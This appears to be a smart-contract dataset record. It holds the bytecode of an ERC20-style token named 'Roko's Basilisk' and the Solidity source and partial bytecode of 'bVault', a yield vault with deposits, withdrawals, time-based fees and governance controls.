0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600f81526020017f526f6b6f277320426173696c69736b000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6402540be4000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f524f4b4f0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220e49267801067d1584e69628c21fa43e28f95bf6a3979ef140cef1c3646dc8e6964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,431
0xA791b82270C474d4DF609CE145a65dA3565a4504
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address=>uint256) private _mintLastBlockHeight; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(block.number>_mintLastBlockHeight[sender],"ERC20: sender account locked"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _mintLastBlockHeight[account] = block.number; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract bVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public depositWithdrawInterval = 60; uint public min = 9500; uint public constant max = 10000; mapping(address => bool) public approved; mapping(address => uint256) userDepoistTime; address public feeAddress; uint public fee1 = 100; //fee within 24 hours uint public fee2 = 3; //fee within 1 week uint public fee3 = 1; //fee without 1 week uint public feeMax = 1000; uint256 public totalDepositCap = uint256(-1); address public governance; address public controller; address public timelock; modifier onlyRestrictContractCall() { address s = msg.sender; require(approved[msg.sender] || msg.sender == tx.origin, "Sorry we do not accept contract"); _; } constructor (address _token) public ERC20Detailed( string(abi.encodePacked("bt:vault: ", ERC20Detailed(_token).name())), string(abi.encodePacked("b", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = tx.origin; controller = 0xD6FA3746A04B27716bd89F090A0c5Cb3e763faAf; feeAddress = tx.origin; timelock = tx.origin; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setTotalDepositCap(uint256 _totalDepositCap) public { require(msg.sender == governance, "!governance"); totalDepositCap = _totalDepositCap; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { require( msg.sender == governance,"!governance"); uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public onlyRestrictContractCall { require(_amount > 0, "Cannot deposit 0"); uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens require(_amount <= totalDepositCap, ">totalDepositCap"); uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); userDepoistTime[msg.sender] = now; } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public onlyRestrictContractCall { require(_shares > 0, "Cannot withdraw 0"); require((now - userDepoistTime[msg.sender])>depositWithdrawInterval,"Deposit and withdraw must be 60 seconds apart!"); uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } uint feeRatio = getFeeRatio(); if(feeRatio>0){ uint fee = r.mul(feeRatio).div(feeMax); r = r.sub(fee); token.safeTransfer(feeAddress,fee); } token.safeTransfer(msg.sender, r); } function getFeeRatio() internal view returns(uint) { uint256 t = now - userDepoistTime[msg.sender]; if(t > 604800) {//7*24*60*60 return fee3; } if(t>86400) {//24*60*60 return fee2; } return fee1; } function getPricePerFullShare() public view returns (uint) { if (totalSupply()==0) { return 0; } return balance().mul(1e18).div(totalSupply()); } function setFeeRatio(uint[3] memory fees) public { require(msg.sender == timelock, "!timelock"); require(fees[0]<feeMax&&fees[1]<feeMax&&fees[2]<feeMax,"The fee is too high"); fee1 = fees[0]; fee2 = fees[1]; fee3 = fees[2]; } function setFeeAddress(address fadd) public { require(msg.sender == timelock, "!timelock"); feeAddress = fadd; } function setTimeLock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function approveContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = true; } function revokeContractAccess(address account) external { require(msg.sender == governance, "!governance"); approved[account] = false; } }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80638705fcd411610146578063d33219b4116100c3578063de5f626811610087578063de5f6268146106af578063ebbf5c17146106b7578063f77c4791146106d4578063f8897945146106dc578063fc0c546a146106e4578063ffbe9f1e146106ec5761025e565b8063d33219b414610643578063d389800f1461064b578063d8b964e614610653578063dd62ed3e14610679578063dd8d8326146106a75761025e565b8063a9059cbb1161010a578063a9059cbb146105c4578063ab033ea9146105f0578063b69ef8a814610616578063b6b55f251461061e578063c60982561461063b5761025e565b80638705fcd41461051e578063891682d21461054457806392eefe9b1461056a57806395d89b4114610590578063a457c2d7146105985761025e565b80634639e19a116101df5780636c361865116101a35780636c3618651461049457806370a08231146104ba57806377c7b8fc146104e05780637c61e865146104e8578063853828b61461050e57806385d30fc8146105165761025e565b80634639e19a1461042257806348a0d754146104745780635aa6e6751461047c5780635db88e85146104845780636ac5db191461048c5761025e565b8063313ce56711610226578063313ce5671461038f57806339509351146103ad57806339f73a48146103d957806341275358146103e157806345dc3dd8146104055761025e565b806306fdde0314610263578063095ea7b3146102e057806318160ddd1461032057806323b872dd1461033a5780632e1a7d4d14610370575b600080fd5b61026b6106f4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a557818101518382015260200161028d565b50505050905090810190601f1680156102d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61030c600480360360408110156102f657600080fd5b506001600160a01b03813516906020013561078b565b604080519115158252519081900360200190f35b6103286107a9565b60408051918252519081900360200190f35b61030c6004803603606081101561035057600080fd5b506001600160a01b038135811691602081013590911690604001356107af565b61038d6004803603602081101561038657600080fd5b503561083c565b005b610397610bd0565b6040805160ff9092168252519081900360200190f35b61030c600480360360408110156103c357600080fd5b506001600160a01b038135169060200135610bd9565b610328610c2d565b6103e9610c33565b604080516001600160a01b039092168252519081900360200190f35b61038d6004803603602081101561041b57600080fd5b5035610c42565b61038d6004803603606081101561043857600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600092019190915250919450610c949350505050565b610328610d64565b6103e9610e1a565b610328610e29565b610328610e2f565b61038d600480360360208110156104aa57600080fd5b50356001600160a01b0316610e35565b610328600480360360208110156104d057600080fd5b50356001600160a01b0316610ea6565b610328610ec1565b61038d600480360360208110156104fe57600080fd5b50356001600160a01b0316610ef6565b61038d610f64565b610328610f77565b61038d6004803603602081101561053457600080fd5b50356001600160a01b0316610f7d565b61038d6004803603602081101561055a57600080fd5b50356001600160a01b0316610fea565b61038d6004803603602081101561058057600080fd5b50356001600160a01b0316611057565b61026b6110c4565b61030c600480360360408110156105ae57600080fd5b506001600160a01b038135169060200135611125565b61030c600480360360408110156105da57600080fd5b506001600160a01b038135169060200135611193565b61038d6004803603602081101561060657600080fd5b50356001600160a01b03166111a7565b610328611216565b61038d6004803603602081101561063457600080fd5b5035611322565b6103286115b5565b6103e96115bb565b61038d6115ca565b61030c6004803603602081101561066957600080fd5b50356001600160a01b03166116bd565b6103286004803603604081101561068f57600080fd5b506001600160a01b03813581169160200135166116d2565b6103286116fd565b61038d611703565b61038d600480360360208110156106cd57600080fd5b5035611785565b6103e96117d7565b6103286117e6565b6103e96117ec565b610328611800565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107805780601f1061075557610100808354040283529160200191610780565b820191906000526020600020905b81548152906001019060200180831161076357829003601f168201915b505050505090505b90565b600061079f610798611806565b848461180a565b5060015b92915050565b60035490565b60006107bc8484846118f6565b610832846107c8611806565b61082d8560405180606001604052806028815260200161228c602891396001600160a01b038a16600090815260026020526040812090610806611806565b6001600160a01b03168152602081019190915260400160002054919063ffffffff611abe16565b61180a565b5060019392505050565b3360008181526009602052604090205460ff168061085957503332145b6108aa576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b600082116108f3576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600754336000908152600a60205260409020544203116109445760405162461bcd60e51b815260040180806020018281038252602e81526020018061231e602e913960400191505060405180910390fd5b60006109756109516107a9565b6109698561095d611216565b9063ffffffff611b5516565b9063ffffffff611bb516565b90506109813384611bf7565b600654604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109d157600080fd5b505afa1580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b5051905081811015610b42576000610a19838363ffffffff611cf316565b6012546006546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b158015610a7857600080fd5b505af1158015610a8c573d6000803e3d6000fd5b5050600654604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b158015610ae157600080fd5b505afa158015610af5573d6000803e3d6000fd5b505050506040513d6020811015610b0b57600080fd5b505190506000610b21828563ffffffff611cf316565b905082811015610b3e57610b3b848263ffffffff611d3516565b94505b5050505b6000610b4c611d8f565b90508015610bad57600f54600090610b6e90610969868563ffffffff611b5516565b9050610b80848263ffffffff611cf316565b600b54600654919550610bab9161010090046001600160a01b0390811691168363ffffffff611dd316565b505b600654610bc99061010090046001600160a01b03163385611dd3565b5050505050565b60065460ff1690565b600061079f610be6611806565b8461082d8560026000610bf7611806565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611d3516565b600d5481565b600b546001600160a01b031681565b6011546001600160a01b03163314610c8f576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600855565b6013546001600160a01b03163314610cdf576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600f548151108015610cf65750600f546020820151105b8015610d075750600f546040820151105b610d4e576040805162461bcd60e51b81526020600482015260136024820152720a8d0ca40cccaca40d2e640e8dede40d0d2ced606b1b604482015290519081900360640190fd5b8051600c556020810151600d5560400151600e55565b6000610e15612710610969600854600660019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610ddd57600080fd5b505afa158015610df1573d6000803e3d6000fd5b505050506040513d6020811015610e0757600080fd5b50519063ffffffff611b5516565b905090565b6011546001600160a01b031681565b60105481565b61271081565b6011546001600160a01b03163314610e82576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6001600160a01b031660009081526020819052604090205490565b6000610ecb6107a9565b610ed757506000610788565b610e15610ee26107a9565b610969670de0b6b3a764000061095d611216565b6011546001600160a01b03163314610f43576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b610f75610f7033610ea6565b61083c565b565b600e5481565b6013546001600160a01b03163314610fc8576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6013546001600160a01b03163314611035576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6013546001600160a01b031633146110a2576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107805780601f1061075557610100808354040283529160200191610780565b600061079f611132611806565b8461082d85604051806060016040528060258152602001612376602591396002600061115c611806565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611abe16565b600061079f6111a0611806565b84846118f6565b6011546001600160a01b031633146111f4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b601254600654604080516370a0823160e01b81526001600160a01b03610100909304831660048201529051600093610e159316916370a08231916024808301926020929190829003018186803b15801561126f57600080fd5b505afa158015611283573d6000803e3d6000fd5b505050506040513d602081101561129957600080fd5b5051600654604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b1580156112ea57600080fd5b505afa1580156112fe573d6000803e3d6000fd5b505050506040513d602081101561131457600080fd5b50519063ffffffff611d3516565b3360008181526009602052604090205460ff168061133f57503332145b611390576040805162461bcd60e51b815260206004820152601f60248201527f536f72727920776520646f206e6f742061636365707420636f6e747261637400604482015290519081900360640190fd5b600082116113d8576040805162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206465